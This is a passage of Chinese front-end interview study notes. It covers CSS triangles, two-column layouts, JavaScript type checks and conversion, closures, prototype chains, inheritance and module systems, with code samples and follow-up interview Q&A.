    普通纯色细线优先采用伪元素加 transform,尺寸和方向更容易由组件参数控制;需要图片切片或特殊纹理时再使用 border-image。两种实现应封装在同一语义组件内,但要记录缩放后的占位、圆角衔接和资源加载失败边界。

# 如何画一个三角形

⚡ 30 秒速记

  • 零宽高元素的四个边框会形成四个三角区域,把三边设透明即可保留一个方向
  • 三角形方向与有颜色的边框方向相反,大小由对应边框宽度控制
  • 更复杂或需描边的图形优先考虑 clip-path、伪元素叠加或 SVG

用 CSS 画三角形,可以把元素宽高设为 0,利用四条边框均分形成的三角区域,只保留一条有颜色的边框。 例如设置 border-top: 10px solid red,再把其余三边设为 transparent,就会显示一个红色三角形。三角形的大小由边框宽度控制,方向则由保留颜色的边框位置决定。这个方案适合简单装饰图形;如果形状更复杂,用普通边框实现会比较受限。

三角形原理:边框的均分原理

div {
  width:0px;
  height:0px;
  border-top:10px solid red; 
  border-right:10px solid transparent; 
  border-bottom:10px solid transparent; 
  border-left:10px solid transparent;
}

💬 面试官追问

  • 消息气泡的箭头元素设置了 width: 0、height: 0,四条边框都是实色,页面上却出现四块拼接区域;你会让它只显示向下三角形吗?

    保留决定方向的那一侧边框颜色,把其余三侧设置为 transparent,利用零尺寸盒子四条边框均分形成三角形。箭头大小由边框宽度控制;若四边都着色,显示的是四个相接的三角区域而不是单一箭头。

  • 设计要求气泡箭头底边更宽、高度更低,而现有代码四条边框都是 10px;你会怎样改,不能引入图片?

    分别调整左右边框宽度控制底边宽度,调整有颜色方向的边框宽度控制高度,而不是继续让四边保持相同数值。元素仍保持 width: 0 和 height: 0;边框不对称时定位中心也会变化,需要同步校正偏移。

  • 同一个提示框组件要支持箭头朝上、朝右两种状态,开发者准备复制两套 DOM;你会怎样组织样式?

    可以复用同一个零尺寸箭头元素,通过状态类切换哪一侧边框为实色,并把其余边框设为 transparent。方向改变后还要同步调整绝对定位和偏移;若仅替换颜色边而不改位置,箭头可能指向正确却脱离气泡边缘。

  • 线上气泡箭头周围出现细小色边,检查发现公共样式给所有 div 设置了边框颜色;你会如何确认并修复?

    先查看箭头元素四个方向的最终计算样式,确认透明边是否被公共规则覆盖成了可见颜色。随后提高组件规则的明确性或隔离公共样式,确保只有目标方向使用实色;不要用扩大箭头遮盖,因为主题切换后杂色可能再次暴露。

  • 产品要求三角箭头带描边,并与有边框的气泡无缝连接;单个边框三角形无法同时表现内外两层颜色,你会怎么取舍?

    可叠放两个尺寸略有差异的边框三角形:外层使用描边色,内层使用气泡背景色,并通过偏移覆盖中心区域。该方案仍基于边框均分原理,但对定位和背景变化较敏感;主题或尺寸可变时应统一由变量控制两层参数。

# 两栏布局:左边定宽,右边自适应方案

⚡ 30 秒速记

  • 现代方案首选 grid-template-columns: 200px minmax(0, 1fr),两栏关系最直接
  • flex 方案让左栏不伸缩、右栏 flex: 1; min-width: 0,避免长内容撑破容器
  • 浮动、绝对定位和负边距属于历史兼容方案,回答时可提但不应作为首选

两栏布局可以让左侧固定为 200px,右侧自动占满剩余宽度,我一般优先使用 flex。 容器设置 display: flex,左栏指定宽度,右栏设置 flex: 1,表达最直接。旧式布局也能用左栏浮动配合右栏 margin-left 或 overflow: hidden,还可以通过 calc(100% - 200px) 计算宽度。相比之下,flex 不需要手动同步间距和宽度,更适合常规业务布局。

<div class="box">
  <div class="box-left"></div>
  <div class="box-right"></div>
</div>

利用float + margin实现

.box {
 height: 200px;
}

.box > div {
  height: 100%;
}

.box-left {
  width: 200px;
  float: left;
  background-color: blue;
}

.box-right {
  margin-left: 200px;
  background-color: red;
}

利用calc计算宽度

.box {
 height: 200px;
}

.box > div {
  height: 100%;
}

.box-left {
  width: 200px;
  float: left;
  background-color: blue;
}

.box-right {
  width: calc(100% - 200px);
  float: right;
  background-color: red;
}

利用float + overflow实现

.box {
 height: 200px;
}

.box > div {
  height: 100%;
}

.box-left {
  width: 200px;
  float: left;
  background-color: blue;
}

.box-right {
  overflow: hidden;
  background-color: red;
}

利用flex实现

.box {
  height: 200px;
  display: flex;
}

.box > div {
  height: 100%;
}

.box-left {
  width: 200px;
  background-color: blue;
}

.box-right {
  flex: 1; // 设置flex-grow属性为1,默认为0
  background-color: red;
}

💬 面试官追问

  • 后台页面左侧导航固定 200px,右侧表格设置 width: calc(100% - 200px) 后偶尔掉到下一行;两栏还设置了边框和内边距,你会先检查什么?

    先检查两栏的实际盒模型、浮动方向以及边框和内边距是否被计入计算宽度,避免总占用超过容器。calc(100% - 200px) 只扣除了左栏声明宽度,额外尺寸仍可能导致换行;可统一 box-sizing,或改用更稳健的 flex。

  • 旧页面用左栏 float: left、右栏 margin-left: 200px,现在导航宽度由权限配置动态变化;你会继续维护这套布局吗?

    固定外边距与动态导航宽度会形成两处必须同步的数值,配置变化后容易重叠或留下空隙。更适合让容器使用 display: flex,左栏保持配置宽度,右栏设置 flex: 1;同时要处理右栏内容过宽时的收缩边界。

  • 右栏中放入一段不可断开的长地址后,flex: 1 没有按预期收缩,整个页面出现横向滚动;你会怎样处理?

    先确认溢出来自右栏内容而非容器宽度计算,再为右栏建立明确的收缩和溢出策略,例如允许内容换行或限制其最小尺寸。flex: 1 负责分配剩余空间,但不会自动消除内容自身的最小宽度约束;强制截断还会牺牲信息可读性。

  • 线上两栏布局使用 float + overflow: hidden,右栏内的下拉浮层被裁掉;维护者说 overflow 只是为了自适应宽度,你会怎么排查和替换?

    先确认裁剪确实由右栏的 overflow: hidden 引起,并检查浮层是否需要越过栏位边界。该写法利用独立布局区域承接浮动旁的剩余空间,却同时带来裁剪副作用;浮层必须外溢时可改为 flex,或把浮层挂到不受裁剪的容器。

  • 需要兼容一个只能维护旧浮动布局的存量页,以及一个新建管理后台;评审会上有人要求两边统一使用 calc,你会如何选型?

    存量页若结构稳定,可保留 float + margin 并集中管理左栏宽度,降低改造风险;新页面优先使用 flex 表达固定栏和剩余空间。calc 能直接计算宽度,但要求两栏尺寸和盒模型严格同步,不应仅为形式统一增加维护耦合。

  • 左栏内容高度超过右栏时,父容器背景塌陷,代码仍是浮动方案;这与“右栏自适应宽度”之间有什么关联,怎么修?

    浮动元素可能脱离普通文档流,父容器若没有其他足够高的普通流内容,就可能无法由左栏撑开高度。可在存量方案中建立清除浮动机制,或迁移到 flex;只给右栏增加 margin-left 能解决宽度占位,却不能解决父级高度计算。

# 2 JavaScript

# typeof类型判断

⚡ 30 秒速记

  • typeof 能可靠区分 undefined、布尔、字符串、数字、bigint、symbol 和函数
  • typeof null 历史上错误返回 "object";数组、日期、正则等普通对象也都返回 "object"
  • 精确类型可用 Array.isArray、Object.prototype.toString.call,业务对象再配合结构校验

typeof 适合判断基本类型和函数,但不能准确区分数组、日期、正则等对象。 除了 null 会得到 object,其他原始类型通常都能正确识别,而普通对象和多数引用类型也统一返回 object。判断对象所属类型可以用基于原型链的 instanceof,但它不能直接判断原始值。需要统一获取详细类型时,我会用 Object.prototype.toString.call(x),再提取并转成小写类型名。

typeof 是否能正确判断类型?instanceof 能正确判断对象的原理是什么

  • typeof 对于原始类型来说,除了 null 都可以显示正确的类型
typeof 1 // 'number'
typeof '1' // 'string'
typeof undefined // 'undefined'
typeof true // 'boolean'
typeof Symbol() // 'symbol'

typeof 对于对象来说,除了函数都会显示 object,所以说 typeof 并不能准确判断变量到底是什么类型

typeof [] // 'object'
typeof {} // 'object'
typeof console.log // 'function'

如果我们想判断一个对象的正确类型,这时候可以考虑使用 instanceof,因为内部机制是通过原型链来判断的

const Person = function() {}
const p1 = new Person()
p1 instanceof Person // true

var str = 'hello world'
str instanceof String // false

var str1 = new String('hello world')
str1 instanceof String // true

对于原始类型来说,你想直接通过 instanceof来判断类型是不行的

  • typeof
    • 直接在计算机底层基于数据类型的值(二进制)进行检测
    • typeof null为object 原因是对象存在在计算机中,都是以000开始的二进制存储,所以检测出来的结果是对象
    • typeof 普通对象/数组对象/正则对象/日期对象 都是object
    • typeof NaN === 'number'
  • instanceof
    • 检测当前实例是否属于这个类的
    • 底层机制:只要当前类出现在实例的原型上,结果都是true
    • 不能检测基本数据类型
  • constructor
    • 支持基本类型
    • constructor可以随便改,也不准
  • Object.prototype.toString.call([val])
    • 返回当前实例所属类信息

写一个getType函数,获取详细的数据类型

  • 获取类型
    • 手写一个getType函数,传入任意变量,可准确获取类型
    • 如number、string、boolean等值类型
    • 引用类型object、array、map、regexp
/**
 * 获取详细的数据类型
 * @param x x
 */
function getType(x) {
  const originType = Object.prototype.toString.call(x) // '[object String]'
  const spaceIndex = originType.indexOf(' ')
  const type = originType.slice(spaceIndex + 1, -1) // 'String' -1不要右边的]
  return type.toLowerCase() // 'string'
}
// 功能测试
console.info( getType(null) ) // null
console.info( getType(undefined) ) // undefined
console.info( getType(100) ) // number
console.info( getType('abc') ) // string
console.info( getType(true) ) // boolean
console.info( getType(Symbol()) ) // symbol
console.info( getType({}) ) // object
console.info( getType([]) ) // array
console.info( getType(() => {}) ) // function
console.info( getType(new Date()) ) // date
console.info( getType(new RegExp('')) ) // regexp
console.info( getType(new Map()) ) // map
console.info( getType(new Set()) ) // set
console.info( getType(new WeakMap()) ) // weakmap
console.info( getType(new WeakSet()) ) // weakset
console.info( getType(new Error()) ) // error
console.info( getType(new Promise(() => {})) ) // promise

💬 面试官追问

  • 接口校验代码写成 typeof value === 'object',结果把数组和 null 都当成普通配置对象;你会怎样改这段判断?

    不能用这一条判断区分普通对象、数组和 null,因为它们经 typeof 检测都可能得到 object。应先明确允许的类型,再用 Object.prototype.toString.call(value) 获取更细分类别;若只排除数组和空值,也要显式处理对应分支。

  • 埋点函数用 typeof payload.count === 'number' 放行数值,线上仍收到 NaN;为什么类型检查没有拦住,后续应怎么做?

    typeof NaN 的结果也是 number,因此它只能说明底层类型标签,不能证明该值可参与有效数值计算。类型检查后还需增加针对业务有效性的校验;允许无穷值、范围边界或字符串转换与否,应由接口约束决定。

  • 权限模块用 value instanceof String 校验昵称,普通字符串全部失败,但 new String('x') 能通过;你会如何解释并修正?

    原始字符串不是 String 构造出的对象实例,因此不能依赖 instanceof String 判断普通字符串。昵称若只接受原始值,应使用 typeof value === 'string';若还要兼容包装对象,则需显式拆箱,但引入两套表示会增加比较和序列化风险。

  • 微前端子应用里的数组传到主应用后,某段 instanceof 判断结果与本地创建的对象不一致;你会从什么机制开始排查?

    先检查对象和构造函数是否来自不同的执行上下文,因为 instanceof 判断的是目标构造函数的原型是否出现在实例原型链上。跨上下文时构造函数引用可能不同;仅需识别详细内建类型时,可改用 Object.prototype.toString.call,但业务类身份仍需另设协议。

  • 团队准备实现通用 getType,有人建议直接读 value.constructor.name,另一人建议解析 Object.prototype.toString.call(value);你会选哪一个?

    通用内建类型识别更适合使用 Object.prototype.toString.call(value),再提取 [object Type] 中的类型名并转为小写。constructor 属性可能被改写,因而不适合作为唯一依据;自定义类若还要区分业务身份,则不能只靠该函数。

  • 线上日志把 Date、Map、正则和普通对象全部记录成 object,排障人员无法判断输入形态;怎样扩展类型记录又不误用 instanceof?

    可让日志层统一调用 Object.prototype.toString.call,记录 date、map、regexp、array 等更细类型,同时保留必要的业务字段。instanceof 更适合判断某个构造函数是否位于原型链上,不能检测原始类型;详细类型名也不等同于数据内容合法。

# 类型转换

⚡ 30 秒速记

  • 显式转换用 Number、String、Boolean,意图清晰;隐式转换常发生在运算符和宽松相等中
  • 加号只要一侧经过原始值转换后是字符串就做拼接,其余算术运算通常转数字
  • 假值只有 false、0、-0、0n、空字符串、null、undefined、NaN;空数组和空对象都是真值
  • 面试推导 == 时按规范转换顺序走,工程代码优先 ===

JavaScript 的类型转换本质上是把值转成布尔值、数字或字符串,既可能显式发生,也可能由运算符触发。 条件判断中,undefined、null、false、NaN、空字符串、0 和 -0 会转为 false,对象则会转为 true。对象参与运算时会先转成原始值,通常依次尝试 valueOf() 和 toString(),自定义的 Symbol.toPrimitive 优先级最高。加法遇到字符串会偏向拼接,乘法等运算则会转成数字,所以推导结果时要先看对象转换,再看运算符规则。

首先我们要知道,在 JS 中类型转换只有三种情况,分别是:

  • 转换为布尔值
  • 转换为数字
  • 转换为字符串

转Boolean

在条件判断时,除了 undefined,null, false, NaN, '', 0, -0,其他所有值都转为 true,包括所有对象

对象转原始类型

对象在转换类型的时候,会调用内置的 [[ToPrimitive]] 函数,对于该函数来说,算法逻辑一般来说如下

  • 如果已经是原始类型了,那就不需要转换了
  • 调用 x.valueOf(),如果转换为基础类型,就返回转换的值
  • 调用 x.toString(),如果转换为基础类型,就返回转换的值
  • 如果都没有返回原始类型,就会报错

当然你也可以重写 Symbol.toPrimitive,该方法在转原始类型时调用优先级最高。

let a = {
  valueOf() {
    return 0
  },
  toString() {
    return '1'
  },
  [Symbol.toPrimitive]() {
    return 2
  }
}
1 + a // => 3

四则运算符

它有以下几个特点:

  • 运算中其中一方为字符串,那么就会把另一方也转换为字符串
  • 如果一方不是字符串或者数字,那么会将它转换为数字或者字符串
1 + '1' // '11'
true + true // 2
4 + [1,2,3] // "41,2,3"
  • 对于第一行代码来说,触发特点一,所以将数字 1 转换为字符串,得到结果 '11'
  • 对于第二行代码来说,触发特点二,所以将 true 转为数字 1
  • 对于第三行代码来说,触发特点二,所以将数组通过 toString转为字符串 1,2,3,得到结果 41,2,3

另外对于加法还需要注意这个表达式 'a' + + 'b'

'a' + + 'b' // -> "aNaN"
  • 因为 + 'b' 等于 NaN,所以结果为 "aNaN",你可能也会在一些代码中看到过 + '1'的形式来快速获取 number 类型。
  • 那么对于除了加法的运算符来说,只要其中一方是数字,那么另一方就会被转为数字
4 * '3' // 12
4 * [] // 0
4 * [1, 2] // NaN

比较运算符

  • 如果是对象,就通过 toPrimitive 转换对象
  • 如果是字符串,就通过 unicode 字符索引来比较
let a = {
  valueOf() {
    return 0
  },
  toString() {
    return '1'
  }
}
a > -1 // true

在以上代码中,因为 a 是对象,所以会通过 valueOf 转换为原始类型再比较值。

💬 面试官追问

  • 结算页用 if (amount) 判断金额是否已填写,用户输入字符串 '0' 时进入了提交分支,而数字 0 却被拦截,你怎么解释并修正?

    字符串 '0' 转为布尔值是 true,数字 0、-0、NaN、空字符串、null 和 undefined 等才是 false。这里不应借助真假值判断业务有效性,应先明确输入类型,再显式校验空值与数值范围;否则字符串和数字混用仍会产生分支偏差。

  • 购物车接口返回价格字符串 '12',页面执行 price + 3 显示 '123',但执行 price * 3 得到 36,你会怎样统一这一段计算逻辑?

    + 遇到字符串会优先表现为拼接,而乘法会把字符串转成数字,所以两个表达式走了不同的隐式转换路径。应在数据进入计算层时用明确的数字转换并校验 NaN,展示阶段再转字符串;若后端可能返回空串或非数字文本,还要定义拒绝或兜底策略。

  • 埋点 SDK 以前只接收数字和字符串,现在要允许业务方传对象作为标签;表达式 'tag:' + value 的结果能否直接依赖默认转换?

    不能把对象的默认字符串化结果当成稳定标签,因为对象会先执行 [[ToPrimitive]],通常依次尝试 valueOf() 与 toString(),还可能被 Symbol.toPrimitive 改写。SDK 应规定序列化协议并显式处理支持的类型;自定义转换若未返回原始值还会抛错,必须隔离单条埋点失败。

  • 线上筛选条件出现 4 * [] === 0、4 * [1,2] 得到 NaN,日志里却只有原始数组,你会按什么顺序定位转换发生在哪里?

    先沿计算链确认数组何时进入算术表达式,再分别记录转换前的类型、值和最终数值,避免只看字符串化日志。空数组转原始值后可形成空字符串并进一步成为 0,多元素数组形成 '1,2' 后无法得到有效数字;修复应在边界拒绝数组,而非针对结果补丁。

  • 排序组件既要处理数字编号,也要处理字符串编码;产品要求 '10' 排在 '2' 前面,同时数字 10 排在 2 后面,你会如何避免比较运算符偷偷改变语义?

    应按字段声明选择比较规则:字符串使用明确的字符顺序比较,数字字段先完成数值校验再比较,不能让同一列混入两种类型。对象参与比较时还会先转为原始值,可能触发自定义 valueOf();若字段类型无法稳定约束,排序结果就不具备可预测性。

# 闭包

⚡ 30 秒速记

  • 闭包是函数与其词法环境的组合,函数离开声明作用域后仍能访问外层变量
  • 常见价值:封装私有状态、函数工厂、回调中保留上下文
  • 闭包本身不是内存泄漏;只有不再需要的闭包仍被长生命周期对象引用,才会导致内存无法回收
  • 面试最好用“计数器”或“循环绑定”举例,并说清变量为何还活着

闭包就是内部函数能够继续访问外层函数中的变量,即使外层函数已经执行结束。 它的价值在于间接访问和保留函数内部状态,因为被内部函数引用的变量仍然可用。典型场景是 var 循环配合 setTimeout:循环结束时 i 已经变成 6,所以回调会重复输出 6。可以用立即执行函数把每次的值保存在参数中,也可以传递 setTimeout 的第三个参数;现代代码通常直接用 let 创建每轮独立绑定。

闭包的定义其实很简单:函数 A 内部有一个函数 B,函数 B 可以访问到函数 A 中的变量,那么函数 B 就是闭包

function A() {
  let a = 1
  window.B = function () {
    console.log(a)
  }
}
A()
B() // 1

闭包存在的意义就是让我们可以间接访问函数内部的变量

经典面试题,循环中使用闭包解决 var 定义函数的问题

for (var i = 1; i <= 5; i++) {
  setTimeout(function timer() {
    console.log(i)
  }, i * 1000)
}

首先因为 setTimeout 是个异步函数,所以会先把循环全部执行完毕,这时候 i就是 6 了,所以会输出一堆 6

解决办法有三种

  1. 第一种是使用闭包的方式
for (var i = 1; i <= 5; i++) {
  ;(function(j) {
    setTimeout(function timer() {
      console.log(j)
    }, j * 1000)
  })(i)
}

在上述代码中,我们首先使用了立即执行函数将 i 传入函数内部,这个时候值就被固定在了参数 j 上面不会改变,当下次执行 timer 这个闭包的时候,就可以使用外部函数的变量 j,从而达到目的

  1. 第二种就是使用 setTimeout 的第三个参数,这个参数会被当成 timer 函数的参数传入
for (var i = 1; i <= 5; i++) {
  setTimeout(
    function timer(j) {
      console.log(j)
    },
    i * 1000,
    i
  )
}
  1. 第三种就是使用 let 定义 i 了来解决问题了,这个也是最为推荐的方式
for (let i = 1; i <= 5; i++) {
  setTimeout(function timer() {
    console.log(i)
  }, i * 1000)
}

💬 面试官追问

  • 列表页用 var i 注册五个延时提示,循环结束后五次都打印 6;同事说“每个回调都有自己的 i”,你怎么当场反驳并修复?

    这些回调闭包捕获的是同一个函数作用域变量 i,执行时循环已经结束,所以读到的都是 6,并非各自保存了一份值。优先把循环变量改为 let,让每次迭代形成独立绑定;兼容旧写法时可用立即执行函数传参,但会增加样板代码。

  • 搜索建议组件为每个关键词设置 setTimeout,你既要保留当次关键词,又不想额外创建一层立即执行函数,会怎样传值?

    可以利用 setTimeout 的第三个及后续参数,把当前关键词作为实参交给回调,回调执行时直接读取形参。这样不依赖之后可能变化的外部变量,也比手写立即执行函数更直观;但它只解决值绑定,不负责取消过期请求或处理响应乱序。

  • 旧后台仍用 var 生成批量任务,新代码规范允许 let;维护负责人担心改动循环声明会影响循环后的索引读取,你会怎么取舍?

    若循环结束后仍有代码依赖 var 提升出的索引,直接换成 let 会改变变量作用域,需要先确认这项依赖是否属于既定行为。可先用回调参数或立即执行函数固定每次值,再单独重构循环外逻辑;保留 var 的代价是共享绑定更容易再次引入异步错误。

  • 弹窗关闭后一分钟,定时回调仍能读取弹窗初始化时的大对象,页面内存没有及时下降;你如何判断闭包是不是根因?

    先检查仍存活的定时器、事件监听器以及回调的引用链,确认闭包是否仍被外部对象持有,并观察它捕获了哪些变量。闭包允许内部函数继续访问外层变量,只要回调可达,相关数据就可能继续存活;应在销毁阶段解除引用或取消任务,但不能把所有内存增长都归因于闭包。

  • 计数器模块需要隐藏内部计数,只暴露递增和读取能力;你会选闭包还是把值挂到全局对象上,代价分别是什么?

    闭包更符合这里的封装目标:工厂函数保存内部计数,只把操作函数暴露出去,外部无法直接覆盖该变量。挂到全局对象虽然便于调试,却会增加命名冲突和任意修改风险;闭包方案仍需控制返回函数的生命周期,否则内部状态会随引用长期保留。

# 原型与原型链

⚡ 30 秒速记

  • 每个对象通过内部 [[Prototype]] 指向另一个对象,属性查找会沿这条链逐级向上
  • 函数的 prototype 是给 new 创建的实例用的,不等于函数对象自身的原型
  • 查找到 null 为止;实例方法共享、继承与 instanceof 都建立在这条关系上
  • 工程里用 Object.getPrototypeOf() 观察原型,避免直接操作历史属性 __proto__

原型链就是对象通过内部原型逐级关联,属性或方法找不到时会沿这条链继续查找,直到 null。 实例的 __proto__ 指向类的 prototype,所以多个实例能共享原型上的方法。比如 Student 继承 People 后,实例自身没有 eat,仍可沿原型链找到并执行。工程中我一般用 Object.getPrototypeOf() 查看关系,避免直接操作历史属性 __proto__。

原型关系

  • 每个class都有显示原型prototype
  • 每个实例都有隐式原型__proto__
  • 实例的__proto__指向class的prototype

// 父类
class People {
    constructor(name) {
      this.name = name
    }
    eat() {
      console.log(`${this.name} eat something`)
    }
}

// 子类
class Student extends People {
  constructor(name, number) {
    super(name)
    this.number = number
  }
  sayHi() {
    console.log(`姓名 ${this.name} 学号 ${this.number}`)
  }
}

// 实例
const xialuo = new Student('夏洛', 100)
console.log(xialuo.name)
console.log(xialuo.number)
xialuo.sayHi()
xialuo.eat()

基于原型的执行规则

获取属性xialuo.name或执行方法xialuo.sayhi时,先在自身属性和方法查找,找不到就去__proto__中找

原型链

People.prototype === Student.prototype.__proto__

💬 面试官追问

  • 学生详情页访问 xialuo.eat() 能执行,但 xialuo 自身并没有 eat 属性;同事据此断言方法是构造实例时复制进去的,你怎么验证?

    方法并非必然复制到实例上,属性查找会先检查 xialuo 自身,找不到再沿其原型链查找。可用自身属性检查与原型读取分别验证,并确认 xialuo 的原型指向 Student.prototype;若实例后来定义同名属性,则会遮蔽原型方法。

  • 班级页创建了大量 Student 实例,每个实例都需要 sayHi();你会把方法写进构造函数还是放在 Student.prototype 上?

    共享行为应放在 Student.prototype 上,让各实例通过原型链访问同一个方法,而姓名、学号等独立数据保留为自身属性。若把方法放进构造函数,每次实例化都会创建对应函数;但需要实例级定制行为时,共享原型方法就不一定满足需求。

  • 权限模型新增 GraduateStudent extends Student,读取 eat() 时要跨两层继承;你会怎样向代码评审者说明完整查找路径?

    读取会从研究生实例自身开始,随后查找 GraduateStudent.prototype、Student.prototype,再到承载 eat() 的 People.prototype。这条链由各级原型之间的指向建立,而不是按类名搜索;任何中间层出现同名成员都会提前结束查找并形成覆盖。

  • 线上热修复把 Student.prototype.sayHi 改成非函数,所有已创建实例随后调用都报错;为什么旧实例也受影响,怎么排查是否被实例属性遮蔽?

    旧实例通常仍通过同一个 Student.prototype 查找 sayHi,修改共享原型会立即影响没有自有同名属性的实例。排查时分别检查实例自身是否拥有 sayHi、当前原型对象上的值及其类型;若有人替换了整个原型对象,旧实例还可能连接到替换前的对象。

  • 团队代码评审中有人直接读写 __proto__ 建继承链,另一人坚持只用标准原型 API;结合可维护性你会支持哪一边?

    理解关系时可用 __proto__ 描述实例的隐式原型,但工程代码更适合通过 class extends、Object.create 或原型读取 API 表达意图。直接修改原型关系容易让查找路径难以追踪;无论采用哪种语法,都必须验证实例原型与构造函数 prototype 的实际连接。

# 原型继承和 Class 继承

⚡ 30 秒速记

  • 原型继承通过对象间的原型链委托属性查找,Object.create 能直接创建指定原型的对象
  • class 是基于原型机制的语法层封装,方法仍放在 prototype 上共享
  • extends 同时连接实例原型链和构造函数静态继承,派生构造函数使用 this 前必须调用 super
  • 组合优于深继承;面试要能说明语法糖背后的两条原型关系

原型继承靠连接原型链复用父类方法,class 和 extends 本质上是这套机制的语法封装。 组合继承会在子构造函数里用 Parent.call(this) 继承属性,再把子类原型指向父类实例,但会额外执行一次父构造函数。寄生组合继承改用 Object.create(Parent.prototype),能避免原型上出现多余属性。使用 class 时写法更直观,不过派生类在使用 this 前必须调用 super。

涉及面试题:原型如何实现继承?Class 如何实现继承?Class 本质是什么?

首先先来讲下 class,其实在 JS中并不存在类,class 只是语法糖,本质还是函数

class Person {}
Person instanceof Function // true

组合继承

组合继承是最常用的继承方式

function Parent(value) {
  this.val = value
}
Parent.prototype.getValue = function() {
  console.log(this.val)
}
function Child(value) {
  Parent.call(this, value)
}
Child.prototype = new Parent()

const child = new Child(1)

child.getValue() // 1
child instanceof Parent // true
  • 以上继承的方式核心是在子类的构造函数中通过 Parent.call(this) 继承父类的属性,然后改变子类的原型为 new Parent() 来继承父类的函数。
  • 这种继承方式优点在于构造函数可以传参,不会与父类引用属性共享,可以复用父类的函数,但是也存在一个缺点就是在继承父类函数的时候调用了父类构造函数,导致子类的原型上多了不需要的父类属性,存在内存上的浪费

寄生组合继承

这种继承方式对组合继承进行了优化,组合继承缺点在于继承父类函数时调用了构造函数,我们只需要优化掉这点就行了

function Parent(value) {
  this.val = value
}
Parent.prototype.getValue = function() {
  console.log(this.val)
}

function Child(value) {
  Parent.call(this, value)
}
Child.prototype = Object.create(Parent.prototype, {
  constructor: {
    value: Child,
    enumerable: false,
    writable: true,
    configurable: true
  }
})

const child = new Child(1)

child.getValue() // 1
child instanceof Parent // true

以上继承实现的核心就是将父类的原型赋值给了子类,并且将构造函数设置为子类,这样既解决了无用的父类属性问题,还能正确的找到子类的构造函数。

Class 继承

以上两种继承方式都是通过原型去解决的,在 ES6 中,我们可以使用 class 去实现继承,并且实现起来很简单

class Parent {
  constructor(value) {
    this.val = value
  }
  getValue() {
    console.log(this.val)
  }
}
class Child extends Parent {
  constructor(value) {
    super(value)
    this.val = value
  }
}
let child = new Child(1)
child.getValue() // 1
child instanceof Parent // true

class 实现继承的核心在于使用 extends 表明继承自哪个父类,并且在子类构造函数中必须调用 super,因为这段代码可以看成 Parent.call(this, value)。

💬 面试官追问

  • 代码评审里有人说 class Person {} 创建的是传统意义上的独立类系统,与函数和原型无关;你会用哪段运行时现象反驳?

    可以检查 Person instanceof Function,结果表明 class 声明产生的构造器仍具有函数特征,其继承能力建立在 JavaScript 的原型机制上。class 提供的是更清晰的语法,并没有取消原型链;因此排查方法覆盖和 instanceof 时仍要检查原型关系。

  • 表单系统用构造函数创建多个 Child,父类含有可变实例属性和共享方法;怎样继承才能避免子实例共用父类实例数据?

    在 Child 构造函数中执行 Parent.call(this, value),可让每个子实例获得自己的父类实例属性,再通过原型链复用父类方法。若只让多个子实例共享一个父类实例作为原型,可变引用属性可能相互影响;还需保证传给父构造函数的参数语义正确。

  • 组合继承已经能让 child.getValue() 工作,但审查发现执行 Child.prototype = new Parent() 时额外调用了一次父构造函数,你会如何优化?

    可使用 Object.create(Parent.prototype) 建立子原型,而不为继承方法额外实例化 Parent,这就是寄生组合继承的关键改进。随后应把 constructor 恢复为 Child,并设置合适的可写、可配置和不可枚举属性;遗漏这一步会让构造器指向产生误导。

  • 迁移到 class 后,Child 构造函数在访问 this 时线上报错,代码把 super(value) 放到了赋值语句之后;根因是什么?

    派生类构造函数必须先调用 super(value),再使用 this,因为父类初始化需要先完成。应把 super 移到所有 this 访问之前,并核对父类所需参数;若子类不需要额外初始化,也可以省略显式构造函数,让默认行为处理调用。

  • 基础库同时提供寄生组合继承和 class extends 两套实现,业务负责人要求选一套长期维护;你会基于什么做决定?

    新代码通常选择 class extends,它更直接表达父子关系,并通过 super 完成父类初始化;理解寄生组合继承仍有助于维护旧构造函数代码和排查原型链。两者底层都离不开原型机制,混用时尤其要防止错误替换 prototype 或丢失 constructor。

# 模块化

⚡ 30 秒速记

  • 模块化解决命名隔离、依赖声明、复用和按需加载,让构建工具能做静态分析
  • ESM 使用静态 import / export、实时绑定,是浏览器与现代工具链标准
  • CommonJS 运行时 require、导出值快照,主要服务传统 Node.js 生态
  • AMD / CMD 属于浏览器没有原生模块时期的历史方案,了解定位即可

模块化是把依赖和导出边界明确下来,核心价值是避免命名冲突、方便复用并提高可维护性。 现代开发以 ESM 为主,因为 import、export 能做静态分析并保持实时绑定;CommonJS 则通过运行时的 require 同步加载,导出更接近值拷贝。exports 只是 module.exports 的初始引用,直接给它重新赋值不会改变真正的导出对象。AMD、CMD 和立即执行函数属于早期方案,面试中作为历史背景说明即可。

涉及面试题:为什么要使用模块化?都有哪几种方式可以实现模块化,各有什么特点?

版本说明:下文会提到 AMD/CMD(require.js / sea.js)。它们是 ES Module 出现前解决浏览器异步模块加载的社区方案,如今已基本淘汰,现在的主线是 ESM(import/export,浏览器和构建工具)+ CommonJS(require,Node 历史方案,现也支持 ESM)。面试主线应讲「ESM vs CommonJS 的区别」(ESM 编译期静态分析、可 Tree Shaking、实时绑定;CJS 运行时、值拷贝、同步),AMD/CMD 作为历史背景了解即可。

使用一个技术肯定是有原因的,那么使用模块化可以给我们带来以下好处

  • 解决命名冲突
  • 提供复用性
  • 提高代码可维护性

立即执行函数

在早期,使用立即执行函数实现模块化是常见的手段,通过函数作用域解决了命名冲突、污染全局作用域的问题

(function(globalVariable){
   globalVariable.test = function() {}
   // ... 声明各种变量、函数都不会污染全局作用域
})(globalVariable)

AMD 和 CMD

鉴于目前这两种实现方式已经很少见到,所以不再对具体特性细聊,只需要了解这两者是如何使用的。

// AMD
define(['./a', './b'], function(a, b) {
  // 加载模块完毕可以使用
  a.do()
  b.do()
})
// CMD
define(function(require, exports, module) {
  // 加载模块
  // 可以把 require 写在函数体的任意地方实现延迟加载
  var a = require('./a')
  a.doSomething()
})

CommonJS

CommonJS 最早是 Node 在使用,目前也仍然广泛使用,比如在 Webpack 中你就能见到它,当然目前在 Node 中的模块管理已经和 CommonJS有一些区别了

// a.js
module.exports = {
    a: 1
}
// or
exports.a = 1

// b.js
var module = require('./a.js')
module.a // -> log 1
ar module = require('./a.js')
module.a
// 这里其实就是包装了一层立即执行函数,这样就不会污染全局变量了,
// 重要的是 module 这里,module 是 Node 独有的一个变量
module.exports = {
    a: 1
}
// module 基本实现
var module = {
  id: 'xxxx', // 我总得知道怎么去找到他吧
  exports: {} // exports 就是个空对象
}
// 这个是为什么 exports 和 module.exports 用法相似的原因
var exports = module.exports
var load = function (module) {
  // 导出的东西
  var a = 1
  module.exports = a
  return module.exports
};
// 然后当我 require 的时候去找到独特的id,然后将要使用的东西用立即执行函数包装下,over

